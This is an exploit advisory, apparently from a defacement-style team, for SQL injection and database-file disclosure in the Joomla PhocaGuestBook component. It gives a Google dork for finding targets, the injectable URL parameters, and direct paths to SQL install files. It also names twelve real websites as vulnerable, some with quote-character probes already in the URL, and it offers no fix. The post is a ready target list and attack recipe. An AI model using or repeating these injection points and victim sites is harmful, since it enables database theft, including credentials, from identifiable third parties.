#################################################################### # Exploit Title : Joomla PhocaGuestBook 3.0.8 SQL Injection / Database Disclosure # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 12/02/2019 # Vendor Homepage : phoca.cz/phocaguestbook # Software Download Link : phoca.cz/download/category/5-phoca-guestbook-component github.com/PhocaCz/PhocaGuestbook/ # Software Information Link : extensions.joomla.org/extension/phoca-guestbook/ # Software Affected Versions : 1.4.5 - 1.5.3 - 2.0.2 - 2.0.7 - 3.0.2 - 3.0.5 - 3.0.6 - 3.0.8 # Software Technical Requirements : Joomla! 1.5. Joomla! 2.5, Joomla! 3.x (stable or any later version) PHP 4, 5 (or any later version) with GD library (graphics library for CAPTCHA creation) # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : inurl:''/index.php?option=com_phocaguestbook'' # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] CWE-200 [ Information Exposure ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos #################################################################### # Description about Software : *************************** Phoca Guestbook is Joomla! CMS extension. Component which displays guestbook and its entries on website. Phoca Guestbook is a Joomla! component. It is a guestbook with Anti-Spam protection which can be used as guestbook or contact form. Contact form is protected by Anti-Spam methods and emails with contact content can be sent to selected user. #################################################################### # Impact : *********** * Joomla PhocaGuestBook 3.0.8 and other versions - component for Joomla is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser. * This Software prone to an information exposure/database disclosure vulnerability. Successful exploits of this issue may allow an attacker to obtain sensitive information by downloading the full contents of the application's database. * Any remote user may download the database files and gain access to sensitive information including unencrypted authentication credentials. #################################################################### # SQL Injection Exploit : ********************** /index.php?option=com_phocaguestbook&view=[SQL Injection] /index.php?option=com_phocaguestbook&id=[SQL Injection] /index.php?option=com_phocaguestbook&view=phocaguestbook&id=[SQL Injection] /index.php?option=com_phocaguestbook&view=phocaguestbook&id=[ID-NUMBER]&Itemid=[SQL Injection] /index.php?option=com_phocaguestbook&view=guestbooki&id=[ID-NUMBER]&Itemid=[ID-NUMBER]&phocasid=[SQL Injection] /index.php?option=com_phocaguestbook&view=phocaguestbook&id=[ID-NUMBER]&Itemid=[ID-NUMBER]&limitstart=[SQL Injection] # Database Disclosure Exploit : *************************** /administrator/components/com_phocaguestbook/install.sql /administrator/components/com_phocaguestbook/uninstall.sql /administrator/components/com_phocaguestbookinstall/sql/mysql/install.utf8.sql /administrator/components/com_phocaguestbookinstall/sql/mysql/uninstall.utf8.sql #################################################################### # Example Vulnerable Sites : ************************* [+] rugbywinterthur.ch/rcwinti/index.php?option=com_phocaguestbook&view=phocaguestbook&id=1&Itemid=13 [+] aziendaagricolagiuliana.it/index.php?option=com_phocaguestbook&view=phocaguestbook&id=1&Itemid=104 [+] parcimonie.ch/pages/index.php?option=com_phocaguestbook&view=1%27 [+] tobytompkins.com/index.php?option=com_phocaguestbook&view=phocaguestbook&id=1&Itemid=55 [+] weltumsegeln.ch/neu/index.php?option=com_phocaguestbook&view=phocaguestbook&id=1&Itemid=55 [+] illasapo.nl/index.php?option=com_phocaguestbook&id=1 [+] ubezpieczenia-krosno.pl/index.php?option=com_phocaguestbook&id=1 [+] location-motopiste.com/index.php?option=com_phocaguestbook&view=guestbooki&id=1&Itemid=482&phocasid=1%27 [+] zd-sevnica.si/index.php?option=com_phocaguestbook&view=phocaguestbook&id=2 [+] falkenforum.de/falkencamp2009_cms/index.php?option=com_phocaguestbook&view=phocaguestbook&id=1&Itemid=64 [+] loucky.info/index.php?option=com_phocaguestbook&view=phocaguestbook&id=1& [+] carine-justin.simhom.com/index.php?option=com_phocaguestbook&view=phocaguestbook&id=1&Itemid=223&limitstart=20 #################################################################### # Example SQL Database Error : **************************** Strict Standards: Non-static method PhocaguestbookHelperFront::getDateFormat() should not be called statically, assuming $this from incompatible context in /var/www/vh196207/data/www/sch-33.ru/components/com_phocaguestbook /views/guestbook/view.html.php on line 64 Warning: mysql_num_rows() expects parameter 1 to be resource, boolean given in /home/zdsevnica/public_html/libraries/joomla/database /database/mysql.php on line 345 #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################